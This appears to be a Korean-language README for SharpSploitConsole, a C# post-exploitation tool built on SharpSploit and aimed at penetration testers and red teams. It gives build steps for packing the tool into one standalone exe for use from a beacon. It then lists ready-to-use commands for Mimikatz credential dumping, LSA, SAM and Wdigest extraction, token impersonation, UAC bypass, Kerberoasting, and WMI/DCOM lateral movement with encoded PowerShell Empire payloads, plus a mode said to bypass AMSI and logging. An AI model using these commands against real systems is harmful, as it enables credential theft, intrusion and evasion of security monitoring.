
C# 콘솔 애플리케이션으로, 사후 침투 및 레드팀 작업을 위해 SharpSploit을 통합하여 Mimikatz 명령 실행, Kerberoasting 수행, UAC 우회, 자격 증명 덤프, WMI/DCOM을 통한 측면 이동을 수행합니다.
@cobbr_io가 공개한 SharpSploit과 상호작용하도록 설계된 콘솔 애플리케이션 > https://github.com/cobbr/SharpSploit
SharpSploit은 @cobbr_io가 만든 도구로, 정보 보안 커뮤니티의 다양한 기술/C# 코드를 하나의 멋진 DLL로 결합한 것입니다. 정말 훌륭하니 꼭 확인해보세요!
SharpSploit Console은 단순한 개념 증명 바이너리로, C# 경험이 적은 침투 테스터나 레드 팀이 SharpSploit의 멋진 기능 중 일부를 사용해볼 수 있도록 돕습니다. 아래 지침을 따르면 SharpSploit.dll과 System.Management.Automation.dll을 SharpSploitConsole 바이너리에 임베드하여, 비대화형 셸(예: 비콘)에서 실행할 수 있는 독립 실행형 exe를 만들 수 있습니다.
이 개념은 많은 C# 바이너리에 적용할 수 있습니다. 예를 들어, 즐겨 사용하는 C# NoPowershell.exe에 System.Management.Automation.dll을 임베드하면 대상 시스템의 System.Management.Automation.dll에 의존하지 않는 바이너리를 만들 수 있습니다.
마지막으로, 이 도구를 더 좋고, 빠르고, 멋지고, 은밀하게 만드는 수천 가지 방법이 있다는 것을 알고 있습니다. 그러니 친절하게 알려주세요. :) 또한 더 많은 모듈을 추가하고 다른 모듈을 개선할 계획입니다.
연락처:
이슈를 제출하기 전에, 이 도구는 항상 적극적으로 업데이트되지 않을 수 있습니다. 코드를 가져와 추가, 수정, 또는 직접 만드시는 것을 권장합니다. 기억하세요, 모든 멋진 코드(정말 많습니다)를 가져와 수정하여 자신만의 맞춤형 도구를 만들 수 있습니다.
참고: Windows 10, Visual Studio 2017 사용 - 환경에 따라 다를 수 있음
SharpSploit 도구를 https://github.com/cobbr/SharpSploit.git 에서 다운로드합니다.
Visual Studio에서 SharpSploit.sln을 열고 컴파일합니다(올바른 아키텍처로 컴파일해야 함) - Any CPU 드롭다운이 보이면 클릭하여 구성 관리자 열기 > 플랫폼을 원하는 아키텍처로 변경하고 확인을 선택합니다.
SharpSploitConsole 도구를 다운로드하고 SharpSploitConsole.sln을 엽니다.
SharpSploit/bin/x64/Debug 디렉토리에 있는 SharpSploit.dll과 System.Management.Automation.dll을 SharpSploitConsole/bin/x64/Debug 폴더에 복사합니다.
이제 Visual Studio에서 DLL을 exe에 임베드하여 대상 시스템에서 실행할 단일 바이너리만 갖도록 설정합니다. 다음 단계를 수행합니다.
Visual Studio에서:
a. 도구 > NuGet 패키지 관리자 > 패키지 관리자 콘솔
b. 콘솔에서 다음 명령 실행:
Install-Package Costura.Fody
c. 메모장을 열고 아래 코드를 붙여넣고 SharpSploitConsole 디렉토리(bin, obj, properties 폴더가 있는 곳)에 FodyWeavers.xml이라는 이름으로 저장합니다.
<?xml version="1.0" encoding="utf-8"?>
<Weavers>
<Costura />
</Weavers>
6. Visual Studio에서 오른쪽의 참조를 마우스 오른쪽 버튼으로 클릭하고 참조 추가를 선택한 다음, 두 DLL을 넣어둔 SharpSploitConsole/bin/x64/Debug 디렉토리로 이동하여 선택하고 추가합니다.
참고: 모든 명령은 대소문자를 구분하지 않습니다.
기본적으로 모든 명령은 명령줄 인수로 받아들여지며, 실행 후 프로그램이 종료됩니다(원격 셸에 적합). 예를 들면: sharpSploitConsole.exe getSystem logonPasswords. 또는 대화형 콘솔 모드를 사용하려면 interact 명령을 사용하여 의사 대화형 셸을 얻을 수 있습니다.
대화형 콘솔 모드 시작:
Interact
Mimikatz 모든 기능(DCSync 제외) - 관리자 또는 시스템 권한 필요:
Mimi-All
원하는 특정 Mimikatz 명령 실행 - 관리자 또는 시스템 권한 필요:
Mimi-Command privilege::debug sekurlsa::logonPasswords
Mimikatz 명령 privilege::debug sekurlsa::logonPasswords 실행 - 관리자 또는 시스템 권한 필요:
logonPasswords
레지스트리에서 도메인 캐시 자격 증명 해시 검색 - 관리자 또는 시스템 권한 필요:
LsaCache
레지스트리에 저장된 LSA 시크릿 검색 - 관리자 또는 시스템 권한 필요:
LsaSecrets
SAM 데이터베이스에서 비밀번호 해시 검색 - 관리자 또는 시스템 권한 필요:
SamDump
레지스트리에서 Wdigest 자격 증명 검색 - 관리자 또는 시스템 권한 필요:
Wdigest
현재 사용자 확인:
whoami
Username
시스템 사용자로 가장 - 관리자 권한 필요:
GetSystem
지정된 프로세스의 토큰 가장, pid 필요 - 명령은 관리자 권한 필요:
Impersonate 2918
UAC 우회 - 바이너리 | 명령 | 바이너리 경로 필요 - 관리자 권한 필요:
BypassUAC cmd.exe ipconfig C:\Windows\System32\
BypassUAC cmd.exe "" C:\Windows\System32\
토큰 가장 종료, 현재 프로세스와 연결된 초기 토큰으로 되돌림:
RevertToSelf
현재 작업 디렉토리 확인:
CurrentDirectory
현재 디렉토리 목록 확인:
DirectoryListing
현재 작업 디렉토리에 지정된 문자열을 추가하여 디렉토리 변경:
ChangeDirectory SomeFolder
호스트 이름 확인:
Hostname
실행 중인 프로세스 목록 확인:
ProcessList
실행 중인 프로세스의 메모리 미니덤프 생성, PID | 출력 위치 | 출력 이름 필요 - 관리자 권한 필요:
ProcDump 2198 C:\Users\Username\Desktop memorydump.dmp
레지스트리 경로 값 읽기, 전체 경로 인수 필요:
ReadRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\BuildNumber
레지스트리에 쓰기, 전체 경로 인수와 값 인수 필요:
WriteRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\RemoteAccessEnabled 1
로컬 그룹의 사용자 원격 검색, 컴퓨터 이름 | 그룹 이름 | 사용자 이름 | 비밀번호 필요:
NetLocalGroupMembers computerName Administrators domain\username P@55w0rd!
NetLocalGroupMembers 192.168.1.20 Administrators .\username P@55w0rd!
로컬 그룹 원격 검색, 컴퓨터 이름 | 사용자 이름 | 비밀번호 필요:
NetLocalGroups computerName domain\username P@55w0rd!
NetLocalGroups 192.168.1.20 .\username P@55w0rd!
현재 로그온된 사용자 원격 검색, 컴퓨터 이름 | 사용자 이름 | 비밀번호 필요:
NetLoggedOnUsers computerName domain\username P@55w0rd!
NetLoggedOnUsers 192.168.1.20 .\username P@55w0rd!
사용자 세션 원격 검색, 컴퓨터 이름 | 사용자 이름 | 비밀번호 필요:
NetSessions computerName domain\username P@55w0rd!
NetSessions 192.168.1.20 .\username P@55w0rd!
시스템 핑, 컴퓨터 이름 필요:
Ping computer1 computer2 computer3 computer4
포트 스캔, 컴퓨터 이름 | 포트 필요:
PortScan computer1 80 443 445 22 23
도메인 사용자 가져오기, 대상 도메인의 지정된 (또는 모든) 사용자 개체를 가져옴, 기본적으로 현재 사용자 컨텍스트 사용. 선택적 인수: -username -password -domain -server -searchbase -searchstring -target:
GetDomainUsers
도메인 그룹 가져오기, 대상 도메인의 지정된 (또는 모든) 그룹 개체를 가져옴, 기본적으로 현재 사용자 컨텍스트 사용. 선택적 인수: -username -password -domain -server -searchbase -searchstring -target:
GetDomainGroups
GetDomainGroups -target "Domain Admins"
도메인 컴퓨터 가져오기, 대상 도메인의 지정된 (또는 모든) 컴퓨터 개체를 가져옴, 기본적으로 현재 사용자 컨텍스트 사용. 선택적 인수: -username -password -domain -server -searchbase -searchstring -target:
GetDomainComputers
케르베로스팅 수행, 대상 도메인의 대상 (또는 모든) 사용자 개체에 대해 kerberoasting 공격 수행, 기본적으로 현재 사용자 컨텍스트 사용. 선택적 인수: -username -password -domain -server -searchbase -searchstring -target:
Kerberoast
Kerberoast -username bob -password Password1 -domain test.corp -server 192.168.1.10 -target sqlService
WMI를 통해 원격으로 명령 실행, 컴퓨터 이름 | 사용자 이름 | 비밀번호 | 명령 필요 - 관리자 권한 필요:
WMI computer1 domain\username P@55w0rd! <entire powershell empire payload>
WMI computer1 .\username P@55w0rd! powershell -noP -sta -w 1 -enc <Base64>
DCOM을 통해 원격으로 명령 실행, 컴퓨터 이름 | 명령 | 디렉토리 | 매개변수 필요 - 관리자 권한 필요:
DCOM computer1 cmd.exe c:\Windows\System32 powershell -noP -sta -w 1 -enc <Base64>
셸 명령 실행:
Shell ipconfig /all
AMSI, scriptBlock 로깅, 모듈 로깅을 우회하면서 PowerShell 명령 실행:
Powershell -noP -sta -w 1 -enc <Base64>